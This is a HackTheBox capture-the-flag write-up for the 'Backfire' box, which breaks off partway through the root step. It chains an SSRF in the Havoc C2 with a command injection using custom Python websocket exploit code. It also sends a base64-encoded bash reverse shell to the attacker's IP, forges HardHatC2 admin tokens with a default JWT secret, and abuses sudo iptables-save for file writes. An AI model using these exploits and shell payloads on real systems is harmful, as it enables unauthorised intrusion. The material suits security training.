HTB: Backfire

Backfire is all about exploiting red team infrastructure, first Havoc, and then HardHatC2. I’ll start with a Havoc server and leak the configuration from the website. I’ll exploit an SSRF vulnerability to get access to the admin port internally. There’s an authenticated RCE vulnerability on this port, but it involves sending payloads into a websocket. I’ll create a chained exploit using the SSRF to stand up and communicate over a websocket to get command injection and a shell. From here, I’ll find an instance of HardHatC2, and exploit the default JWT secret to forge cookies and get access. Inside the C2 admin panel, I’ll get a shell as the next user. Finally, I’ll abuse a sudo rule that allows saving the firewall rules to get arbitrary write, and get a shell as root.
Box Info
Name | Backfire ![]() Play on HackTheBox |
---|---|
Release Date | 18 Jan 2025 |
Retire Date | 07 Jun 2025 |
OS | Linux ![]() |
Base Points | Medium [30] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
01:14:50 |
![]() |
02:35:22 |
Creators |
Recon
nmap
nmap
finds three open TCP ports, SSH (22), HTTPS (443) and HTTP (8000), as well as two filtered ports (5000 and 7096):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 13:29 EST
Nmap scan report for 10.10.11.49
Host is up (0.089s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
5000/tcp filtered upnp
7096/tcp filtered unknown
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 6.89 seconds
oxdf@hacky$ nmap -p 22,443,8000 -sCV 10.10.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 13:30 EST
Nmap scan report for 10.10.11.49
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp open ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/stateOrProvinceName=Illinois/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-07-16T17:28:10
|_Not valid after: 2027-07-16T17:28:10
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.22.1
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-title: 404 Not Found
8000/tcp open http nginx 1.22.1
|_http-title: Index of /
|_http-server-header: nginx/1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.12 seconds
Based on the OpenSSH and nginx versions, the host is likely running Debian 12 bookworm. There’s no sign of host-based routing or any kind of domain name, so I’ll proceed by targeting the IP.
Website - TCP 443
Site
Visiting https://10.10.11.49/
returns the default nginx 404:

Tech Stack
The HTTP response headers show an interesting header besides the Server
:
HTTP/1.1 404 Not Found
Server: nginx/1.22.1
Date: Fri, 24 Jan 2025 18:33:17 GMT
Content-Type: text/html
Connection: keep-alive
X-Havoc: true
Content-Length: 146
Searching in grep.app for X-Havoc
shows a pretty solid match on Havoc:

Havoc is a Go-based post-exploitation C2 framework.
Brute forcing directories with feroxbuster
doesn’t find anything interesting.
HTTP - TCP 8000
The site on port 8000 is just a directory listing with two files:

disable_tls.patch
is a patch file for the websocket post in Havoc to not require TLS:
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromise our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
There’s a note here about catching a coworker being lazy, but more importantly a hint to access the management port 40056 only on localhost.
The other file is a .yaotl
file, which is the configuration language used by Havoc:
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
There are a couple users and passwords in the file, as well as the domain backfire.htb
, and several ports listening on localhost.
Shell as ilya
Strategy
The foothold expliotation path is a bit complex, so I’ll give an overview of it before going into the particulars. I’ll blur this section for anyone not wanting to spoil what’s coming.
Getting user involves chaining together two exploits in Havor, an unauthenticated server-side request forgery (SSRF), and an authenticated command injection remote code execution (RCE). The SSRF provides the authenticated access to the RCE vulnerability.
When Backfire released on HTB, there were POC scripts for both the SSRF and for the RCE exploits. The SSRF one works as is on Backfire, but the RCE exploit is designed to go directly to the target. The challenge in Backfire was to take the RCE script and figure out how to use the SSRF to send the same payloads to target.
Within days of Backfire's release, there were new POCs publicly available to chain these two exploits, but I'll skip those since they weren't available at the time I was originally solving the box, and it's a fun challenge to combine them, and show the challenge as it was on release day.
SSRF
Identify CVE-2024-41570
Searching for “Havoc CVE” leads to CVE-2024-41570:

Background
The NVD page describes the vulnerability as:
An Unauthenticated Server-Side Request Forgery (SSRF) in demon callback handling in Havoc 2 0.7 allows attackers to send arbitrary network traffic originating from the team server.
A full writeup is available from chebuya’s (one of the authors of Backfile) blog, and it goes into a ton of detail. I’ll give a higher level overview here.
In Havoc, the default malware / agent is called a demon. The actor on the Havoc server will create listeners (typically HTTP(S)), which the demon’s connect to.
When the demon connects to a listener, it accesses a command by a 32-bit int. For example, 99 is DEMON_INITIALIZE, as seen in the source here, or in the POC exploit script here in the register_agent
function:
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
# DEMON_INITIALIZE / 99
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
The vast majority of these commands are authenticated. Only if the listener issues a command to do something will it process the command from the demon in response. This is checked with the IsKnownRequestID
function in Havoc in the TaskDispatch
function:
func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {
var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)
AgentID := int(NameID)
/* if the RequestID was not generated by the TS, reject the request */
if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false {
logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID))
return
}
switch CommandID {
...[snip]...
However, at the top of IsKnownRequestID
, there are a couple exceptions:
// check that the request the agent is valid
func (a *Agent) IsKnownRequestID(teamserver TeamServer, RequestID uint32, CommandID uint32) bool {
// some commands are always accepted because they don't follow the "send task and get response" format
switch CommandID {
case COMMAND_SOCKET:
return true
case COMMAND_PIVOT:
return true
}
...[snip]...
If the command is COMMAND_SOCKET
or COMMAND_PIVOT
, then this just returns true. This means that the demon can contact the C2 with one of these commands and it doesn’t matter that it never issued a request for it. The reason is that these are used for proxying data and creating tunnels.
With these commands, the researcher was able to generate a SSRF.
Run POC
The second link in the search above is a POC on GitHub, which is associated with the blog post. I’ll save a copy of the script. It doesn’t document what libraries are needed, but it turns out it’s requests
and pycryptodome
. I’ll add these with uv
(check out the uv cheatsheet for details):
oxdf@hacky$ uv add --script exploit.py requests pycryptodome
Updated `exploit.py`
oxdf@hacky$ uv run --script exploit.py
Installed 6 packages in 8ms
usage: exploit.py [-h] -t TARGET -i IP -p PORT [-A USER_AGENT] [-H HOSTNAME] [-u USERNAME]
[-d DOMAIN_NAME] [-n PROCESS_NAME] [-ip INTERNAL_IP]
exploit.py: error: the following arguments are required: -t/--target, -i/--ip, -p/--port
I’ll give the script the target as well as a reference to the IP and port to make a request to (my HTB VPN IP):
oxdf@hacky$ uv run --script exploit.py -t https://10.10.11.49 -i 10.10.14.6 -p 80
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.0 404 File not found
Server: SimpleHTTP/0.6 Python/3.12.3
Date: Fri, 24 Jan 2025 18:51:43 GMT
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 335
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 404</p>
<p>Message: File not found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
</body>
</html>
On my Python webserver, there’s a request for /vulnerable
, which returns the 404 response shown above:
oxdf@hacky$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.49 - - [24/Jan/2025 13:51:43] code 404, message File not found
10.10.11.49 - - [24/Jan/2025 13:51:43] "GET /vulnerable HTTP/1.1" 404 -
Enumerating
With this SSRF, I’ll try to read the management port mentioned above:
oxdf@hacky$ uv run --script exploit.py -t https://10.10.11.49 -i 127.0.0.1 -p 40056
...[snip]...
HTTP/1.1 404 Not Found
Content-Type: text/plain
Date: Fri, 24 Jan 2025 18:59:07 GMT
Content-Length: 18
Connection: close
404 page not found
The two filtered ports, 5000 and 7096, both return empty responses.
Authenticated RCE
Identify
A bit more searching leads to a post from Include Security, Vulnerabilities in Open Source C2 Frameworks. It’s a bit of an overview style, without going into a ton of detail. But in the section on Havoc, there’s mention of an authenticated RCE exploit:
Havoc has an authenticated RCE vulnerability in the teamserver that is similar to the one in Sliver. Further, the default Havoc configuration creates two users with the password “password1234”, so anyone careless enough to run Havoc with default settings on an untrusted network can immediately be exploited by this RCE vulnerability. Teamservers that are firewalled off can still be hit due to a cool SSRF vulnerability discovered by chebuya recently.
The description even mentions the SSRF exploit I’ve already exploited! There’s more detail:
An injection payload into the service name field looks something like
\" -mbla; CMD 1>&2 && false #
:
\"
to exit out the quotes-mbla
to cause the MinGW compilation to fail and not have to wait for itCMD 1>&2
with the chosen payload redirected to stderr&& false
to cause the command to fail and the server to send back the stderr output#
to comment out the parameters after our injection
There’s a POC script as well.
The vulnerability is in the code that handles building binaries to deploy to demons. The builder.go
file is entirely devoted to generating the correct command line string necessary to compile something, eventually passed to exec
in the Cmd
function:
func (b *Builder) Cmd(cmd string) bool {
var (
Command = exec.Command("sh", "-c", cmd)
stdout bytes.Buffer
stderr bytes.Buffer
err error
)
Command.Dir = b.sourcePath
Command.Stdout = &stdout
Command.Stderr = &stderr
err = Command.Run()
if err != nil {
logger.Error("Couldn't compile implant: " + err.Error())
if !b.silent {
b.SendConsoleMessage("Error", "couldn't compile implant: "+err.Error())
b.SendConsoleMessage("Error", "compile output: "+stderr.String())
}
logger.Debug(cmd)
logger.Debug("StdErr:\n" + stderr.String())
return false
}
return true
}
Because it’s just joining a bunch of strings, we have an opportunity for command injection. Many of the parameters are sanitized, but the service name parameter is not.
To exploit this, I’ll need to connect to the admin websocket, which is blocked by the firewall. I’ll have to use the SSRF above to generate that traffic.
Breakdown
The RCE POC Python script creates a web socket and then sends three requests into it. The creation looks like:
ws = create_connection(f"wss://{HOSTNAME}:{PORT}/havoc/",
sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})
The first websocket message is to authenticate:
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
ws.send(json.dumps(payload))
print(json.loads(ws.recv()))
The second will create a listener to build an agent for:
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
ws.send(json.dumps(payload))
The third one is to run the injection:
cmd = input("$ ")
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
# Command injection in demon compilation command
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
ws.send(json.dumps(payload))
There is code in the POC to process the results and print it, but I’m going to focus on getting RCE.
Create Exploit
Strategy
If I can set up this websocket connection over the SSRF and send three messages into it, I should get RCE. I’ll need to generate two functions. One to generate the HTTP GET request to initiate the websocket connection, and then one to generate messages to the websocket.
I’ll make a copy of the SSRF POC and remove the last three lines where it sends a request to /vulnerable
on the given host:
request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"
write_socket(socket_id, request_data)
print(read_socket(socket_id).decode())
Initiate Websocket
ChatGPT is actually pretty good at giving me what I need here:

My function looks like:
def create_websocket_init_req(host, port, path):
websocket_key = base64.b64encode(b"randombytes12345").decode("utf-8")
request = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {websocket_key}\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
).encode()
return request
And I’ll use this to initiate the websocket at the end of the exploit:
init_ws_request = create_websocket_init_req(hostname, args.port, '/havoc/')
write_socket(socket_id, init_ws_request)
Generate Frame
Now I need to send messages or frames into the socket. ChatGPT is really nice here, helping me to generate this function:
def create_websocket_frame(message):
payload = message.encode("utf-8")
payload_length = len(payload)
first_byte = 0b10000001 # Binary: FIN = 1, Opcode = 1
if payload_length <= 125:
second_byte = 0b10000000 | payload_length
frame = struct.pack("!BB", first_byte, second_byte)
elif payload_length <= 65535:
second_byte = 0b10000000 | 126
frame = struct.pack("!BBH", first_byte, second_byte, payload_length)
else:
second_byte = 0b10000000 | 127
frame = struct.pack("!BBQ", first_byte, second_byte, payload_length)
masking_key = random.randbytes(4)
frame += masking_key
masked_payload = bytearray(payload[i] ^ masking_key[i % 4] for i in range(payload_length))
frame += masked_payload
return frame
Sending Messages
The first message is the authentication message. I’ll add a couple of arguments to the script to read in the username, password, and command:
parser.add_argument("-U", "--admin-username", help="Username for admin auth", required=True)
parser.add_argument("-P", "--password", help="Password for admin auth", required=True)
parser.add_argument('-c', '--cmd', help="Command to run", required=True)
I’ll copy the payload from the RCE POC and pass it to the function to generate websocket frames:
# auth
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(args.password.encode()).hexdigest(), "User": args.admin_username}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": args.admin_username}}
message = create_websocket_frame(json.dumps(payload))
write_socket(socket_id, message)
The next frame is creating some kind of listener. I’ll only need to update the variable name holding the username at the end:
# listener
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": args.admin_username}}
message = create_websocket_frame(json.dumps(payload))
write_socket(socket_id, message)
Finally, the command injection message. I’ll use the code from the POC again, updating it to take args.cmd
:
# injection
injection = """ \\\\\\\" -mbla; """ + args.cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": args.admin_username}}
message = create_websocket_frame(json.dumps(payload))
write_socket(socket_id, message)
Execution
I’ll run this with a simple ping
command to see if it works, using the creds from the config above:
oxdf@hacky$ uv add --script rce.py requests pycryptodome
Updated `rce.py`
oxdf@hacky$ uv run --script rce.py -t https://10.10.11.49 -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -c 'ping -c 1 10.10.14.6'
Installed 6 packages in 9ms
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
...[snip]...
At tcpdump
, there’s ICMP:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:45:42.762075 IP 10.10.11.49 > 10.10.14.6: ICMP echo request, id 6302, seq 1, length 64
15:45:42.762109 IP 10.10.14.6 > 10.10.11.49: ICMP echo reply, id 6302, seq 1, length 64
That’s RCE!
Shell
I’ll try -c 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"'
, but it doesn’t work. That’s not surprising, given the amount of times the data is processed and passed on and the special characters. I’ll base64 encode that payload:
oxdf@hacky$ echo 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYxCg==
oxdf@hacky$ echo 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMQo=
oxdf@hacky$ echo 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1 ' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSAK
Any of these would probably work, but I like to add spaces to get rid of special characters.
Now I’ll send this as the payload:
oxdf@hacky$ uv run rce.py -t https://10.10.11.49 -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -c 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSAK | base64 -d | bash'
...[snip]...
It works:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.49 40244
bash: cannot set terminal process group (6324): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$
I can grab user.txt
:
ilya@backfire:~$ cat user.txt
886b281d************************
SSH
The shell is a bit flaky, dying sometimes without warning. I’ll add an SSH key to /home/ilya/.ssh/authorized_keys
:
ilya@backfire:~$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> .ssh/authorized_keys
And now connect using SSH:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen ilya@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
ilya@backfire:~$
Shell as sergej
Enumeration
Home Directories
In ilya’s home directory there are a few files besides user.txt
:
ilya@backfire:~$ ls
files hardhat.txt Havoc user.txt
files
has the same files as what’s hosted on the port 8000 webserver. Havoc
is the installation of Havoc. hardhat.txt
says:
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults I hope he prefers Havoc bcoz I don’t wanna learn another C2 framework, also Go > C#
There is a sergej
directory in /home
:
ilya@backfire:/home$ ls
ilya sergej
ilya doesn’t have access. These users match the users with shells in /etc/passwd
:
ilya@backfire:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ilya:x:1000:1000:ilya,,,:/home/ilya:/bin/bash
sergej:x:1001:1001:,,,:/home/sergej:/bin/bash
Network
There are many listening ports:
ilya@backfire:/$ netstat -tnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:7096 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
- 8000 is the webserver serving files from
/var/www/files
(as can be seen in/etc/nginx/conf.d/tcp_8000.conf
) - 8443 is where Havoc is actually listening, and nginx is forwarding it from 443 (as can be seen in
/etc/nginx/conf.d/havoc.conf
). - 5000 and 7096 were filtered from the outside, so I’ll want to look at these.
- 443 is the outward-facing Havoc server.
- 22 is SSH
- 40056 is the Havoc management port.
Processes
The most interesting processes at this point belong to sergej, who is running Hardhat:
ilya@backfire:/$ ps auxww | grep sergej
sergej 6921 3.0 6.5 274271224 259772 ? Ssl 16:00 0:12 /home/sergej/.dotnet/dotnet run --project HardHatC2Client --configuration Release
sergej 6922 2.6 6.4 274262820 258032 ? Ssl 16:00 0:11 /home/sergej/.dotnet/dotnet run --project TeamServer --configuration Release
sergej 6979 2.1 3.3 274203412 131524 ? Sl 16:00 0:08 /home/sergej/HardHatC2/TeamServer/bin/Release/net7.0/TeamServer
sergej 6992 1.2 3.2 274195036 131112 ? Sl 16:00 0:05 /home/sergej/HardHatC2/HardHatC2Client/bin/Release/net7.0/HardHatC2Client
Hardhat
Local
Hardhat C2 is an open source C# C2 framework. The note from ilya says that sergej didn’t change anything. The default config file is located here:
{
"Logging": {
"LogLevel": {
"Default": "Information",
"Microsoft": "Warning",
"Microsoft.Hosting.Lifetime": "Information"
}
},
"AllowedHosts": "*",
"Jwt": {
"Key": "jtee43gt-6543-2iur-9422-83r5w27hgzaq",
"Issuer": "hardhatc2.com"
},
"IPWhitelistOptions": {
"Whitelist": [ "*"]
},
}
The JWT secret is hardcoded. If it wasn’t modified, I can forge an account.
I’ll clone the repo and run docker compose up
to get a local copy running. It tells me the servers are running on 5000 and 7096, and then gives the login information for this instance:
hardhat_server | Username: HardHat_Admin
hardhat_server | Password: p3svHI=s-R@*7DfRr*u5
I’ll open https://localhost:7096
and log in with those creds.
There’s not a ton going on here, but the “Admin Dashboard” does allow me to create a new user:

Logging in as this user, there’s a ton more functionality, including a terminal:

I can list the local Docker hostname and user.
Token
Before shutting down my Docker container, I’ll look at how the tokens are stored. There’s no cookies for the site, but there are values in Local Storage:

I’ll log out as 0xdf and back in as HardHat_Admin. This user should exist on Backfire as well, and if the JWT secrets are the same, then the token generated here will work there as well:

Remote
I’ll kill the Docker and add SSH tunnels to access ports 5000 and 7096:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen ilya@10.10.11.49 -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
...[snip]...
ilya@backfire:~$
Now when I open https://127.0.0.1:7096/Settings
, it loads! I didn’t even have to change the cookies since both sites were accessed at the same place. Because the same shared secret is in use, the token just works.

I’ll create a user with Team Lead role and log in. At the terminal, I’ll see the hostname:

I’ll issue a bash reverse shell:

It connects to my listening nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.49 58572
bash: cannot set terminal process group (8128): Inappropriate ioctl for device
bash: no job control in this shell
sergej@backfire:~/HardHatC2/HardHatC2Client$
I’ll upgrade the shell using the standard trick:
sergej@backfire:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
sergej@backfire:~$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
sergej@backfire:~$
Shell as root
Enumeration
sergej has sudo
permissions to run iptables
and iptables-save
as root on Backfire:
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
File Write
Strategy
man iptables-save
shows there’s a -f
option:
sergej@backfire:~$ man iptables-save
...[snip]...
-f, --file filename
Specify a filename to log the output to. If not specified, ipta‐
bles-save will log to STDOUT.
...[snip]...
This means I can write as root if I can get what I want to write into an iptables rule.
Write Comment
This article shows how to put a comment into an iptables rule. I’ll test it:
sergej@backfire:/$ sudo iptables -A INPUT -i lo -m comment --comment "test"
sergej@backfire:/$ sudo iptables-save
# Generated by iptables-save v1.8.9 (nf_tables) on Fri Jan 24 16:41:42 2025
*filter
:INPUT ACCEPT [5331:11868675]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [6968:23797449]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment test
COMMIT
# Completed on Fri Jan 24 16:41:42 2025
I would like the comment to start on a new line. I’ll add a new line:
sergej@backfire:/$ sudo iptables -A INPUT -i lo -m comment --comment $'\ntest\n'
sergej@backfire:/$ sudo iptables-save
# Generated by iptables-save v1.8.9 (nf_tables) on Fri Jan 24 16:42:32 2025
*filter
:INPUT ACCEPT [130:28055]
:FORWARD ACCEPT [0:0]
